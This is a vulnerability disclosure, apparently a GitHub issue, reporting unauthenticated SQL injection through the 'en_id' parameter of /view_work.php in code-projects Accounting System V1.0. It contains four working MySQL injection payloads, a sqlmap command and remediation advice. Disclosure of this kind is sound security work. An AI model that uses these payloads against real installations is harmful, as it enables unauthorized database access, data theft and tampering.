-
Notifications
You must be signed in to change notification settings - Fork 0
code-projects Accounting System Project V1.0 /view_work.php SQL injection #8
Description
code-projects Accounting System Project V1.0 /view_work.php SQL injection
NAME OF AFFECTED PRODUCT(S)
· Accounting System
Vendor Homepage
·[Accounting System In PHP With Source Code - Source Code & Projects](https://code-projects.org/accounting-system-in-php-with-source-code/)
submitter
· Xu Zhihan
Vulnerable File
· /view_work.php
VERSION(S)
· V1.0
Software Link
· [download.code-projects.org/details/ca08cc75-6fcc-41f4-b050-90d59552d179](https://download.code-projects.org/details/ca08cc75-6fcc-41f4-b050-90d59552d179)
PROBLEM TYPE
Vulnerability Type
· SQL injection
Root Cause
· A SQL injection vulnerability was found in the '/view_work.php' file of the 'Accounting System' project. The reason for this issue is that attackers inject malicious code from the parameter 'en_id‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
Impact
· Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
· During the security review of "Accounting System",I discovered a critical SQL injection vulnerability in the "/view_work.php" file. This vulnerability stems from insufficient user input validation of the 'en_id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability lonameion:
· 'en_id' parameter
Payload:
---
Parameter: en_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: en_id=1' RLIKE (SELECT (CASE WHEN (2090=2090) THEN 1 ELSE 0x28 END))-- EUCL
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: en_id=1' OR (SELECT 5086 FROM(SELECT COUNT(*),CONCAT(0x71786a6a71,(SELECT (ELT(5086=5086,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Apzs
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: en_id=1' AND (SELECT 8547 FROM (SELECT(SLEEP(5)))iWAr)-- oqwL
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: en_id=1' UNION ALL SELECT CONCAT(0x71786a6a71,0x475976776e61575279676a516350567743456e66615248786c784c454653667a5964496a644f7945,0x7162787a71),NULL,NULL,NULL,NULL,NULL#
---
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
sqlmap -u "http://192.168.185.143/my_account/view_work.php" --data="en_id=1' RLIKE (SELECT (CASE WHEN (2090=2090) THEN 1 ELSE 0x28 END))-- EUCL" --dbs
Suggested repair
*Use prepared statements and parameter binding:*
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
*Input validation and filtering:*
Strictly validate and filter user input data to ensure it conforms to the expected format.
*Minimize database user permissions:*
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
*Regular security audits:*
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.